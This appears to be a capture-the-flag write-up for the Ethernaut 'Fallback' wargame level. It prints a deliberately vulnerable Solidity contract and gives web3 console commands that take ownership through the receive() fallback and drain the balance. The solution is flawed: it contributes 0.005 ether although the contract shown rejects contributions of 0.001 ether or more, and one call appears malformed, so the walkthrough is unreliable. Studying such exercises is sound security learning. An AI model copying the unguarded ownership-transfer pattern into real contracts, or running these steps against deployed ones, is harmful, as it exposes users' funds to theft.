Ethernaut Level 1: Fallback
Solidity Code
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
import '@openzeppelin/contracts/math/SafeMath.sol';
contract Fallback {
using SafeMath for uint256;
mapping(address => uint) public contributions;
address payable public owner;
constructor() public {
owner = msg.sender;
contributions[msg.sender] = 1000 * (1 ether);
}
modifier onlyOwner {
require(
msg.sender == owner,
"caller is not the owner"
);
_;
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(address(this).balance);
}
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
Requirements
- Claim ownership of the contract.
- Reduce the balance to 0.
Concepts
- Sending ether to payable functions and contracts using web3.js.
- Converting to and from wei/ether units.
- Fallback methods.
Hack
There are 2 possible options if we want to gain ownership. First, at the function
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
notice that we become the contract owner if we call the function contribute()
and we have more contributions than the current owner. Notice at the constructor
, the contract owner initially has 1000 ether. Thus, if we contribute more than 1000 ether, we will become the contract owner.
Second, at the receive()
fallback function
receive() external payable {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
we become the contract owner when we send ether to the contract and have a non-zero contribution.
Solution
We first contribute to the smart contract.
await contract.contribute().sendTransaction({from: player, value: toWei("0.005")})
We verify that our address has a contribution.
await contract.getContribution()
Next, we send ether using the receive()
fallback method.
await contract.sendTransaction({from: player, value: toWei("0.001")})
At this point, we should be the contract owner.
await contract.owner()
Lastly, we withdraw all the funds.
await contract.withdraw()
Done!